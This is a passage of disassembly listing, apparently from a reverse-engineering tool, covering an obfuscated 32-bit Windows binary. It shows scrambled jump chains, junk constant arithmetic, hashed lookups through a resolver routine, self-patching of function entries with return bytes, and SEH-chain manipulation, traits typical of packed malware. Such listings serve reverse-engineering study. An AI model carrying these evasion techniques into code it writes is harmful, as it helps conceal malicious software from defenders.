pop ebp push ds:dword_10019664 jmp nullsub_32 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_100189D1: ; CODE XREF: an.kk9rg:100184EEj jz loc_1001C2B9 ; =============== S U B R O U T I N E ======================================= sub_100189D7 proc near ; CODE XREF: an.kk9rg:1001443Ep ; FUNCTION CHUNK AT 10014483 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016DFD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001723D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001750E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017579 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001799F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001CABF SIZE 00000008 BYTES xchg esi, [esp+0] pop esi imul byte ptr [edx] cmp al, 0A4h jmp loc_10014483 sub_100189D7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_100189E4: ; CODE XREF: sub_1001498A+6A84j add eax, eax cdq loc_100189E7: ; CODE XREF: an.kk9rg:1001C5FEj add eax, [esp+0] adc edx, [esp+arg_0] add esp, 8 jmp loc_1001D9D1 ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_100189F6: ; CODE XREF: sub_1001C799:loc_10019B70j and ebx, 0FCE94231h test ebx, 10h jmp loc_1001D7E0 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018352 loc_10018A07: ; CODE XREF: sub_10018352:loc_10016D2Aj imul byte ptr [edx] push offset sub_10016167 loc_10018A0E: ; DATA XREF: _3a14gzkz:10027EB2o jmp loc_10017932 ; END OF FUNCTION CHUNK FOR sub_10018352 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10018A13 proc near ; CODE XREF: sub_10015D9E+243j retn sub_10018A13 endp ; --------------------------------------------------------------------------- loc_10018A14: ; CODE XREF: an.kk9rg:1001DE3Dj jmp loc_10014B9D ; --------------------------------------------------------------------------- loc_10018A19: ; CODE XREF: an.kk9rg:100190CCj jmp sub_10019D80 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10018A1E proc near ; CODE XREF: sub_1001445Cp var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h ; FUNCTION CHUNK AT 1001C958 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 1001DD46 SIZE 00000005 BYTES push ecx mov ecx, ebp xchg ecx, [esp+0] mov ebp, esp add esp, 0FFFFFEF8h jmp loc_1001DD46 sub_10018A1E endp ; =============== S U B R O U T I N E ======================================= sub_10018A31 proc near ; CODE XREF: sub_10013389+1C2j ; an.kk9rg:1001606Bp ; FUNCTION CHUNK AT 100153E7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10017EA3 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001B306 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B978 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx call sub_100181E1 push esi push 397535EAh pop esi jmp loc_1001B978 sub_10018A31 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001725E loc_10018A46: ; CODE XREF: sub_1001725E:loc_1001B1A3j call sub_100188BE mov eax, 11C9A2C5h call sub_100181E1 push ebx jmp loc_100195BB ; END OF FUNCTION CHUNK FOR sub_1001725E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A70A loc_10018A5B: ; CODE XREF: sub_1001A70A:loc_10013B08j lea eax, [ebp-100h] push eax push eax mov eax, edi xchg eax, [esp+8+var_8] push 0D46DF374h push offset sub_1001C28F jmp nullsub_59 ; END OF FUNCTION CHUNK FOR sub_1001A70A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B29 loc_10018A77: ; CODE XREF: sub_10016B29+Cj xchg ebx, [esp+0Ch+var_C] mov edi, ebx pop ebx and edi, 0CE67CD66h jmp loc_10014C4E ; END OF FUNCTION CHUNK FOR sub_10016B29 ; --------------------------------------------------------------------------- loc_10018A88: ; CODE XREF: an.kk9rg:1001CD52j sub ebx, 0E1FA5437h or ecx, edi sub edi, edx ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_10018A92: ; CODE XREF: sub_10015D9E:loc_1001CD45j add eax, 0CEFF40CBh mov eax, [eax] or eax, eax jmp loc_10016551 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10018AA1: ; CODE XREF: sub_10013389:loc_1001D4A8j call sub_10014C0D call sub_10018AB1 retn ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10018AAC: ; CODE XREF: sub_10015E0D+4j jmp loc_1001D09A ; END OF FUNCTION CHUNK FOR sub_10015E0D ; =============== S U B R O U T I N E ======================================= sub_10018AB1 proc near ; CODE XREF: sub_10013389+571Dp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10013133 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 100138E7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10013947 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100140FA SIZE 00000018 BYTES ; FUNCTION CHUNK AT 100165B2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10017077 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A5FD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001B3DC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001B452 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001BA64 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001BBEB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C15D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C9D6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001CDDB SIZE 00000007 BYTES push edx mov edx, ebp jmp loc_10013947 sub_10018AB1 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_10018ABA proc near ; CODE XREF: an.kk9rg:10014CF8j ; sub_10015B5D:loc_10015B61p ; FUNCTION CHUNK AT 10014306 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001B9F9 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx or eax, eax jnz loc_1001430C call sub_10015168 or eax, eax jmp loc_1001B9F9 sub_10018ABA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10018AD2: ; CODE XREF: sub_10019595+3F2j mov edi, ebp xchg edi, [esp+4+var_4] mov ebp, esp push edx ; END OF FUNCTION CHUNK FOR sub_10019595 ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10018ADA: ; CODE XREF: sub_10016167:loc_10019D4Cj jmp loc_1001AD00 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_10018ADF: ; CODE XREF: sub_1001B096-591Ej jz loc_10018AFD shl ebp, 6 jmp loc_10018AFB ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100151FD loc_10018AED: ; CODE XREF: sub_100151FD+8517j shr ebp, 1Eh mov ebx, 0A910BFA4h pushf ; END OF FUNCTION CHUNK FOR sub_100151FD ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_10018AF6: ; CODE XREF: sub_1001B5A3-82AEj jmp loc_10015F94 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_10018AFB: ; CODE XREF: sub_1001B096-25AEj sbb eax, edi loc_10018AFD: ; CODE XREF: sub_1001B096:loc_10018ADFj add edx, 0F64A8F45h add edx, ebp call sub_10015C14 loc_10018B0A: ; CODE XREF: sub_100178C9+48ACj jmp loc_10014197 ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_10018B0F: ; CODE XREF: sub_100188EE+2BB0j jmp loc_1001C2C4 ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100138FD loc_10018B14: ; CODE XREF: sub_100138FD:loc_10015123j mov edx, [ebp-8] call sub_1001B413 loc_10018B1C: ; CODE XREF: sub_10019C34+2510j jmp loc_10017D97 ; END OF FUNCTION CHUNK FOR sub_100138FD ; --------------------------------------------------------------------------- loc_10018B21: ; CODE XREF: an.kk9rg:loc_1001CB7Dj jz loc_10015B92 jmp loc_1001A556 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_10018B2C: ; CODE XREF: sub_10015066:loc_1001D353j jl loc_1001850D mov ebx, edi jbe loc_10018711 jmp loc_1001850B ; END OF FUNCTION CHUNK FOR sub_10015066 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_165. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100153B8 loc_10018B40: ; CODE XREF: sub_100153B8+7j jmp loc_10019AE7 ; END OF FUNCTION CHUNK FOR sub_100153B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015168 loc_10018B45: ; CODE XREF: sub_10015168+6j jmp nullsub_35 ; END OF FUNCTION CHUNK FOR sub_10015168 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10018B4A proc near ; DATA XREF: sub_10015BA9+3ADCo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10015B04 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10017B49 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10017BF4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017F77 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001CA28 SIZE 00000018 BYTES xchg eax, [esp+0] mov ebp, esp push ecx push edi push 48D89B09h jmp loc_10017BF4 sub_10018B4A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10018B5B: ; DATA XREF: an.kk9rg:100190B3o push 5F03609h pop ebx or ebx, 0DDB19C64h and ebx, 5ECB55B2h xor ebx, 8BF77EB9h jmp loc_10017EC5 ; --------------------------------------------------------------------------- loc_10018B78: ; DATA XREF: an.kk9rg:1001B203o jz loc_10018866 call sub_10018B90 jnz loc_10018866 mov eax, ebx jmp loc_1001995E ; =============== S U B R O U T I N E ======================================= sub_10018B90 proc near ; CODE XREF: sub_10017A34+14p ; an.kk9rg:10018B7Ep ... mov eax, [ebx+ecx] xor eax, [ebx+ecx+4] cmp eax, 7C61090Eh retn sub_10018B90 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136FF loc_10018B9D: ; CODE XREF: sub_100136FF+20C7j jmp loc_1001CB82 ; END OF FUNCTION CHUNK FOR sub_100136FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_10018BA2: ; CODE XREF: sub_10019030-5767j jmp loc_10017830 ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- loc_10018BA7: ; CODE XREF: an.kk9rg:loc_10019A8Bj add [ebp-8], eax mov eax, [ebp-8] shr eax, 6 xor [ebp-8], eax jmp loc_1001A849 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C529 loc_10018BB8: ; CODE XREF: sub_1001C529+1125j pop eax add eax, 98070C7Fh xor eax, 0B0DB02EBh call sub_100181E1 mov ds:off_1000203C, eax lea eax, sub_1001C529 mov byte ptr [eax], 0C3h jmp sub_1001C529 ; --------------------------------------------------------------------------- loc_10018BDE: ; CODE XREF: sub_1001C529j pop edx jmp loc_1001337B ; END OF FUNCTION CHUNK FOR sub_1001C529 ; --------------------------------------------------------------------------- pop edi jmp sub_10019571 ; --------------------------------------------------------------------------- loc_10018BEA: ; DATA XREF: sub_1001B0B1+12o mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_1001372F jmp loc_100142ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001997C loc_10018BFB: ; CODE XREF: sub_1001997C:loc_10014020j mov edi, eax pop eax ror eax, 12h mov edx, [esp-4+arg_0] push ecx mov ecx, eax xchg ecx, [esp+0] mov eax, edx jmp loc_1001A0A3 ; END OF FUNCTION CHUNK FOR sub_1001997C ; --------------------------------------------------------------------------- cdq sbb edi, 0F9D02C72h jmp sub_1001753F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_10018C1D: ; CODE XREF: sub_10015988+3AE6j rol eax, 0Fh pop eax xor ebp, edi jmp loc_10016F54 ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C8CE loc_10018C28: ; CODE XREF: sub_1001C8CE-2D3Fj xchg edi, ebx ; END OF FUNCTION CHUNK FOR sub_1001C8CE ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_10018C2A: ; CODE XREF: sub_10015C77-24E8j ; sub_10015C77+13j ... jmp loc_1001BC4B ; --------------------------------------------------------------------------- loc_10018C2F: ; CODE XREF: an.kk9rg:loc_100152B3j ; sub_10015C77+820j ... pop ecx xchg ebx, [esp-8+arg_4] mov ebp, ebx pop ebx jmp nullsub_42 ; END OF FUNCTION CHUNK FOR sub_10015C77 ; --------------------------------------------------------------------------- loc_10018C3B: ; CODE XREF: an.kk9rg:1001841Bj push 0F4C14135h add eax, ebp cmp ecx, 4CDA56F3h jmp loc_100148AB ; =============== S U B R O U T I N E ======================================= sub_10018C4D proc near ; CODE XREF: sub_1001C758:loc_10019C29p ; an.kk9rg:1001D3E9j ; FUNCTION CHUNK AT 1001321D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10013FD9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015420 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10016DBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100170AF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10017ACD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001902B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AED7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001B4A3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001B7CA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001B9F4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C47A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CC8A SIZE 0000001D BYTES xchg esi, [esp+0] pop esi jz loc_1001B7CA call nullsub_5 jmp loc_10016DBE sub_10018C4D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10018C61 proc near ; CODE XREF: sub_1001534D-1B10j ; FUNCTION CHUNK AT 10016C58 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017098 SIZE 00000017 BYTES add esp, 0FFFFFED8h mov [ebp-8], edx jmp loc_10016C58 sub_10018C61 endp ; --------------------------------------------------------------------------- locret_10018C6F: ; CODE XREF: an.kk9rg:loc_1001D74Cj retn ; --------------------------------------------------------------------------- loc_10018C70: ; CODE XREF: an.kk9rg:1001C180j jle loc_10019476 ; =============== S U B R O U T I N E ======================================= sub_10018C76 proc near ; CODE XREF: sub_10015995:loc_1001A5AAp ; FUNCTION CHUNK AT 100132D1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100145E8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100150AE SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001601E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 100163FA SIZE 00000021 BYTES ; FUNCTION CHUNK AT 10016D2F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001782B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018FCE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 100191EE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A1E3 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx test byte ptr [ebp-8], 20h jz loc_100150AE jmp sub_1001A7BD sub_10018C76 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_10018C89: ; CODE XREF: sub_100194EA+F54j call sub_10018CA1 mov [ebp-4], eax loc_10018C91: ; CODE XREF: sub_100194EA+F47j ; sub_10016FA0:loc_1001B1EBj ... mov eax, [ebp-1Ch] call sub_100141F5 mov [ebp-8], eax jmp loc_10013AD1 ; END OF FUNCTION CHUNK FOR sub_100194EA ; =============== S U B R O U T I N E ======================================= sub_10018CA1 proc near ; CODE XREF: sub_100174F4-423Bp ; an.kk9rg:loc_10014532j ... ; FUNCTION CHUNK AT 1001D169 SIZE 00000027 BYTES jns sub_1001B943 push ebp mov ebp, esp loc_10018CAA: ; CODE XREF: an.kk9rg:loc_100169F5j jmp loc_1001D169 sub_10018CA1 endp ; --------------------------------------------------------------------------- sbb edx, esi jmp sub_10014FD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CB9 loc_10018CB6: ; CODE XREF: sub_10017CB9+25A3j pushf push 902A2E5Ah pop eax or eax, 0F2DEF23Eh ; END OF FUNCTION CHUNK FOR sub_10017CB9 ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10018CC3: ; CODE XREF: sub_1001A97E:loc_10017C2Ej add eax, 4F195891h and eax, 935868h jmp loc_10018DBE ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001985B loc_10018CD4: ; CODE XREF: sub_1001985B+8j jno loc_1001A98F sub al, 99h push 8AFA0838h pop edx jmp loc_10017846 ; END OF FUNCTION CHUNK FOR sub_1001985B ; --------------------------------------------------------------------------- loc_10018CE7: ; CODE XREF: an.kk9rg:10014778j ; an.kk9rg:loc_100199A8j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001C489 jmp loc_1001A39E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B319 loc_10018CF8: ; CODE XREF: sub_1001B319-39BEj inc dword ptr [ebp-1Ch] jmp loc_1001B8B5 ; END OF FUNCTION CHUNK FOR sub_1001B319 ; --------------------------------------------------------------------------- loc_10018D00: ; CODE XREF: an.kk9rg:loc_100199DDj push offset sub_1001AA84 jmp loc_100183CB ; --------------------------------------------------------------------------- loc_10018D0A: ; CODE XREF: an.kk9rg:loc_100136F9j jmp ds:off_1000202C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_10018D10: ; CODE XREF: sub_1001D392+Fj jmp loc_100167EC ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_10018D15: ; CODE XREF: sub_1001C28F-3A6Fj jmp loc_10014258 ; END OF FUNCTION CHUNK FOR sub_1001C28F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B3A1 loc_10018D1A: ; CODE XREF: sub_1001B3A1:loc_100136C3j ; sub_1001A277+Dj ... xchg ebx, [esp+4+var_4] mov edx, ebx pop ebx jns loc_1001A289 jmp loc_1001CAFC ; END OF FUNCTION CHUNK FOR sub_1001B3A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D8D9 loc_10018D2B: ; CODE XREF: sub_1001D8D9:loc_1001C746j xchg esi, [esp+0] jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_1001D8D9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_164. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10018D34: ; CODE XREF: sub_10013389+3F70j jmp loc_10019BD4 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_10018D39: ; CODE XREF: sub_1001767A-31CAj jmp loc_1001A853 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- loc_10018D3E: ; CODE XREF: an.kk9rg:1001B485j shl eax, 11h ; START OF FUNCTION CHUNK FOR sub_1001537B loc_10018D41: ; CODE XREF: sub_1001537B:loc_1001AB30j rol edx, 10h xor edx, 5808B410h add edx, ebp add edx, 277E0BA8h jmp loc_10019613 ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_10018D57: ; CODE XREF: sub_10015D9E+4E93j jz sub_10015276 jmp loc_1001C37B ; END OF FUNCTION CHUNK FOR sub_10015D9E ; =============== S U B R O U T I N E ======================================= sub_10018D62 proc near ; CODE XREF: an.kk9rg:100177CBj ; sub_10014317:loc_10018866p ; FUNCTION CHUNK AT 1001A917 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D378 SIZE 00000002 BYTES xchg edi, [esp+0] pop edi xor eax, eax loc_10018D68: ; CODE XREF: sub_10015276:loc_1001995Ej ; sub_10017A34+364Cj pop large dword ptr fs:0 pop edx pop ecx jmp loc_1001A917 sub_10018D62 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A8DD loc_10018D76: ; CODE XREF: sub_1001A8DD+Dj jz loc_1001754F jmp sub_1001A0AD ; END OF FUNCTION CHUNK FOR sub_1001A8DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_10018D81: ; CODE XREF: sub_10013999:loc_1001A671j adc edx, eax jnp loc_10017759 or esi, ebp cmp edx, eax jmp loc_100157AD ; END OF FUNCTION CHUNK FOR sub_10013999 ; --------------------------------------------------------------------------- loc_10018D92: ; CODE XREF: an.kk9rg:loc_1001DAB9j xor ebx, 4C0E29FCh jnz loc_1001DEFD ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10018D9E: ; CODE XREF: sub_1001A97E+EC1j jmp nullsub_146 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- and ecx, 1F40ECCBh jmp loc_1001DEFA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DD8B loc_10018DAF: ; CODE XREF: sub_1001DD8B+18j jmp loc_1001DEB4 ; END OF FUNCTION CHUNK FOR sub_1001DD8B ; --------------------------------------------------------------------------- loc_10018DB4: ; CODE XREF: an.kk9rg:1001BBCAj jmp loc_1001AFE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C185 loc_10018DB9: ; CODE XREF: sub_10015D9E+330Ej ; sub_1001C185-A0Dj jmp nullsub_92 ; END OF FUNCTION CHUNK FOR sub_1001C185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10018DBE: ; CODE XREF: sub_1001A97E-1CAFj jmp loc_10016729 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_10018DC3: ; CODE XREF: sub_100180C2+150j jmp loc_10019758 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- loc_10018DC8: ; CODE XREF: an.kk9rg:1001C10Cj jz loc_1001B004 jmp loc_1001D309 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10018DD3: ; CODE XREF: sub_10016D66+1722j ; sub_1001A6F7:loc_1001B01Ej mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001C4A9 jmp loc_1001876B ; END OF FUNCTION CHUNK FOR sub_10016D66 ; =============== S U B R O U T I N E ======================================= sub_10018DE4 proc near ; DATA XREF: sub_1001DECE:loc_1001D294o add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax push offset loc_1001CD24 jmp loc_100134F6 sub_10018DE4 endp ; --------------------------------------------------------------------------- call sub_1001AD24 ; START OF FUNCTION CHUNK FOR sub_10014A06 loc_10018DFE: ; CODE XREF: sub_10014A06+7A5Aj jmp nullsub_103 ; END OF FUNCTION CHUNK FOR sub_10014A06 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10018E03: ; CODE XREF: sub_1001564A+60C4j jmp loc_10017AF2 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- loc_10018E08: ; CODE XREF: an.kk9rg:10014C22j mov eax, edi test esi, 0A3F50CD6h jmp loc_10013633 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DD1D loc_10018E15: ; CODE XREF: sub_1001DD1D+18j mov eax, 7DA6ACC0h call sub_100181E1 mov ds:off_10002014, eax lea eax, sub_100168DF loc_10018E2B: ; CODE XREF: an.kk9rg:loc_100153C4j mov byte ptr [eax], 0C3h jmp sub_100168DF ; --------------------------------------------------------------------------- loc_10018E33: ; CODE XREF: sub_1001DD1D+4j push offset loc_100157F5 jmp loc_1001376B ; END OF FUNCTION CHUNK FOR sub_1001DD1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10018E3D: ; CODE XREF: sub_100136D7+9ED3j or eax, ds:100000C6h xor eax, 1305FA0Fh add eax, ebp add eax, 1B8DF94Ch jmp loc_1001C86B ; END OF FUNCTION CHUNK FOR sub_100136D7 ; =============== S U B R O U T I N E ======================================= sub_10018E56 proc near ; CODE XREF: sub_1001A6D2+DBCp ; an.kk9rg:1001CE01j ; FUNCTION CHUNK AT 10014070 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi call sub_100174F4 jmp loc_10014070 sub_10018E56 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6D2 loc_10018E64: ; CODE XREF: sub_1001A6D2+4j ror eax, 1Dh xor eax, 6FBB2124h push edi push 0EF8D3AC1h pop edi ; END OF FUNCTION CHUNK FOR sub_1001A6D2 ; START OF FUNCTION CHUNK FOR sub_1001997C loc_10018E74: ; CODE XREF: sub_1001997C+4j jmp loc_10013889 ; END OF FUNCTION CHUNK FOR sub_1001997C ; =============== S U B R O U T I N E ======================================= sub_10018E79 proc near ; CODE XREF: sub_10013389+4220p ; an.kk9rg:100197ACj ; FUNCTION CHUNK AT 10016105 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016A57 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017AC2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100184DD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018751 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10019094 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100196B5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A1B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AF1A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001B565 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 1001C0F8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C896 SIZE 00000015 BYTES xchg eax, [esp+0] pop eax jno loc_10018751 sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jmp loc_100196B5 sub_10018E79 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10018E91 proc near ; DATA XREF: sub_1001DECE:loc_10019DCCo ; FUNCTION CHUNK AT 10015103 SIZE 00000005 BYTES add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax push offset loc_1001AF9F jmp loc_10015103 sub_10018E91 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C8CE loc_10018EA4: ; CODE XREF: sub_1001C8CE+6j mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_8], eax call sub_10019E17 loc_10018EB2: ; CODE XREF: sub_10015C77+45AAj jmp loc_1001A921 ; END OF FUNCTION CHUNK FOR sub_1001C8CE ; --------------------------------------------------------------------------- loc_10018EB7: ; CODE XREF: an.kk9rg:loc_10018FADj ; an.kk9rg:10018FC6j and esi, 1A5588BAh sub esi, 5478768Ch add esi, 4C291568h push offset sub_10013AEC jmp loc_10014F0D ; --------------------------------------------------------------------------- loc_10018ED3: ; DATA XREF: sub_10018066:loc_100139F6o jb loc_1001DACE sub al, 99h push 0F4FC6531h pop edx and edx, 0BE2810CAh xor edx, 0F75E79D9h sub edx, 0FEED0CF2h jmp loc_10019B5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10018EF8: ; CODE XREF: sub_1001ABFD-67D0j jz loc_10015FD1 shl edi, 4 jmp loc_1001D0ED ; --------------------------------------------------------------------------- loc_10018F06: ; CODE XREF: sub_1001ABFD+2275j sub al, 99h push 5CA1E60h pop edx jmp loc_10017701 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; =============== S U B R 